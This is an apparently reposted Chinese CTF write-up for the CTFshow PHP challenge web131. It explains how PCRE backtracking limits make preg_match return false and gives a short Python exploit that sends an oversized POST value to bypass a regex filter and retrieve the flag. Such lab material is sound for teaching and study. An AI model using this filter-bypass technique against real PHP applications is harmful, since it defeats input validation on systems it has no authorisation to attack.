目錄

• 源碼
• 思路
• 題解
• 總結

---

源碼

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40*/error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){$f = (String)$_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f,'36Dctfshow') === FALSE){die('bye!!');}echo $flag;}

---

思路

第一層過濾繞過很簡單,什么都不加就好了

但是第二層繞過得加上36D不然就會返回flase,看起來是無解的,我們可以用PRRE回溯來繞過

知識點

常見的正則引擎

DFA: 從起始狀態開始，一個字符一個字符地讀取輸入串，并根據正則來一步步確定至下一個轉移狀態，直到匹配不上或走完整個輸入

NFA:從起始狀態開始，一個字符一個字符地讀取輸入串，并與正則表達式進行匹配，如果匹配不上，則進行回溯，嘗試其他狀態

由于 NFA 的執行過程存在回溯，所以其性能會劣于 DFA，但它支持更多功能。大多數程序語言都使用了 NFA 作為正則引擎，其中也包括 PHP 使用的 PCRE 庫。PHP 為了防止正則表達式的拒絕服務攻擊（reDOS），給 pcre 設定了一個回溯次數上限 pcre.backtrack_limit(100萬次),突破這個限制pcre_match就不會返回非 1 和 0，而是 false。

題解

exp

import requestsurl="http://17e66580-d7b0-4cf7-a5c7-635cc75c05a4.challenge.ctf.show/"data={'f':'kradress'*130000+'36Dctfshow' }res=requests.post(url,data=data)print(res.text)

---

總結

水題

總結

以上是生活随笔為你收集整理的CTFshow php特性 web131的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。